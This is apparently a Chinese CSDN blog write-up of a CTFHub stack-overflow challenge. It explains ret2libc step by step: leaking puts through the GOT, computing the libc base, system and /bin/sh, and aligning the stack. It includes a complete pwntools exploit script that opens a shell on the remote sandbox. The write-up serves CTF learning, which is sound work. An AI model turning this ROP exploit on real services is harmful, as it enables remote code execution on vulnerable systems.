【网安】pwn-ret2libc

前言

先解释一下ROP和ret2libc的区别:ROP是一种攻击技术框架,而ret2libc是ROP框架下最经典的一种具体应用

也可以理解为ROP(面向返回编程)是一种思想,即先利用某种手段将实际运行时的关键信息泄露给攻击者,攻击者再利用这个泄露出来的信息进行攻击,获取更机密的信息

而ret2libc就是ROP的一种具体应用,即专门利用libc库中的危险函数(如system)进行攻击,通常以调用system('/bin/sh')获取shell为直接目标

ret2libc可看作ret2text的增强版,即无法从二进制文件中直接得到system函数的地址时,转而从libc文件中获取,这种方法可以用来绕过NX防护措施

如果认为本文理解有难度,可先看我的另一篇关于ret2text的博客,链接:【网安】pwn-ret2text-CSDN博客

题目描述

本文以CTFHub技能树中的题目为例(pwn-栈溢出-ROP)

题目给了一个远程攻击的服务器域名和端口号,附件中是一个pwn二进制文件,一个libc文件,如下图

WriteUp

ret2libc的题目仍然遵循pwn题目的套路,我们先用IDA反汇编器打开二进制文件,看看能不能找到有用的信息

继续按F5键反编译为伪C语言

main函数很简单,输出了一句提示信息之后就进入vuln函数,很显然vuln就是攻击的重点,我们来看一眼

这是一个很明显的栈溢出,因为buf只有64字节而可以读入0x200个字节,再加上题目的附件中还提供了libc文件,因此可判断这是一道ret2libc的题目,下面的思路就很清晰了:

(1)寻找二进制程序运行中有没有调用puts,printf,read等libc文件中的系统函数,本题以puts函数为例,找到其 plt 和   got 地址

(2)找到pop rdi ;ret地址和main函数地址,用于构造payload,并在泄露puts函数地址后进行第二次攻击

(3)利用上述4个地址和栈结构构造第一次攻击payload,目的是泄露puts函数地址让攻击者接收

(4)利用泄露出的puts函数地址计算出libc的基址,进一步可算出system和bin/sh的地址,就能构造第二次攻击payload,获取system shell

下面详细演示这4个步骤

1 寻找系统函数的 plt 和 got 地址

对于系统函数的选择笔者没有多想,看到main函数中正好有puts就直接用了,如下图

然后用Linux的GDB调试工具获取 plt 和 got 地址

反汇编main函数,得到puts的 plt 地址

反汇编puts函数,得到puts的 got 地址

2 获取pop rdi ;ret地址和main函数地址

main函数地址就是上面反汇编main函数时的第一条指令地址,即0x00000000004005d8,而pop rdi ; ret指令地址需要用到ROPgadget工具获取,我们取最后一行的指令地址

3 构造第一次攻击payload

有了上面准备的4个地址,我们就可以构造payload了,形式如下:

下面解释一下为什么payload长这个样子:

1.cyclic是为了用无效数据覆盖掉缓冲区buf和EBP,这部分不清楚的可以看我的另一篇博客【网安】pwn-ret2text-CSDN博客

2.pop_rdi_ret用来覆盖原返回地址,这样当vuln函数返回时就不会返回到main函数,而是转向执行pop rdi ; ret指令,下面的设计也与这两条指令有关

3.程序现在执行pop rdi指令

要先知道在64位Linux中,调用 puts的第一个参数(要打印的地址)必须放在 rdi 寄存器中

因此这里写puts的got地址,就能通过pop指令将puts_got写入rdi,作为puts的参数,进而打印出puts函数的实际运行地址

(这里还有个细节:puts_got其实是got表项地址,这个地址里存的内容才是puts函数的实际运行地址)

4.程序现在执行ret指令

ret指令的含义是从栈顶取出地址并跳转,而此时的栈顶就是puts的plt地址(调用地址),这样就成功调用了puts函数并打印出puts的实际运行地址

5.第四步中调用puts函数时,puts函数内部还有一个ret,这个ret会取出当前栈顶main_addr并跳转,这样就回到了main函数,可进行第二次攻击

4 构造第二次攻击payload

在构造第二次payload之前需要先利用第一次攻击得到的puts函数实际运行地址来计算出system函数和bin/sh的实际运行地址,具体算法:

1.puts函数实际运行地址-puts函数固定偏移=libc基址

2.

libc基址+system函数偏移=system函数实际运行地址

libc基址+bin/sh偏移=bin/sh实际运行地址

代码如下

libc=ELF('./libc-2.27.so')
#libc中偏移地址
offset_system=libc.symbols['system']
offset_puts=libc.symbols['puts']
offset_binsh=next(libc.search(b'/bin/sh\x00'))
#实际运行地址
libc_addr=leaked_puts-offset_puts#libc基址
system_addr=libc_addr+offset_system
binsh_addr=libc_addr+offset_binsh

之后就可以构造payload了,形式如下

offset=72
payload = flat([
    cyclic(offset),
    pop_rdi_ret,
    binsh_addr,
    ret_addr,
    system_addr
])

这部分构造逻辑与第一次payload相同,binsh当system函数的参数,相当于调用的是system("/bin/sh")

5 完整代码及攻击效果

完整代码

from pwn import *

context(os='linux', arch='amd64')

libc=ELF('./libc-2.27.so')
io=remote('challenge-341f38487050e016.sandbox.ctfhub.com',39302)

#libc中偏移地址
offset_system=libc.symbols['system']
offset_puts=libc.symbols['puts']
offset_binsh=next(libc.search(b'/bin/sh\x00'))

#第一次攻击
#puts plt,got等地址
pop_rdi_ret=0x0000000000400683
puts_plt = 0x4004a0     # puts@plt——调用puts函数的地址
puts_got = 0x601018     # puts@got.plt——puts函数的实地址
main_addr = 0x00000000004005d8    # 返回main函数,以便进行第二次攻击
#构造payload
offset=72
payload = flat([
    cyclic(offset),
    pop_rdi_ret,   # 1. 控制rdi寄存器
    puts_got,      # 2. 参数:要泄露的地址(puts的GOT表项)
    puts_plt,      # 3. 调用puts(puts_got)打印地址
    main_addr      # 4. 返回main函数,准备第二次攻击(puts的ret指令,从栈顶取出地址跳转)
])
io.recvuntil(b'someting:\n')
io.send(payload)
io.recvline()
# 接收输出(这里可能需要根据具体情况调整)
leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))#接收6个字节的地址,再用\x00填充至8字节,最后用u64解析

#第二次攻击
libc_addr=leaked_puts-offset_puts
system_addr=libc_addr+offset_system
binsh_addr=libc_addr+offset_binsh
ret_addr=0x000000000040048e

offset=72
payload = flat([
    cyclic(offset),
    pop_rdi_ret,
    binsh_addr,
    ret_addr,
    system_addr
])
io.recvuntil(b'someting:\n')
io.send(payload)
io.interactive()

攻击效果

可以看到,运行攻击脚本后成功获取到了system shell,并从中获取了flag为ctfhub{729ec7a548f2e3d10d66b22e}

避坑

主体思路已经阐述明白了,但在实现过程中还是遇到了几个坑,在此记录一下:

(1)在程序的开头需要加上 context(os='linux', arch='amd64') 以说明操作系统和架构,这在64位Linux环境下是必要的

(2)

在64位系统中,调用 system 时需要保证栈是 16字节对齐 的。当 system 被调用时,如果 (rsp % 16) != 0,可能会崩溃。

解决方案:在 system 地址前加一个 ret 指令来调整栈对齐

代码如下

payload = flat([
    cyclic(offset),
    pop_rdi_ret,
    binsh_addr,
    ret_addr,#ret指令调整栈对齐
    system_addr
])

至于ret_addr,仍可通过ROPgadget工具获取ret指令的地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值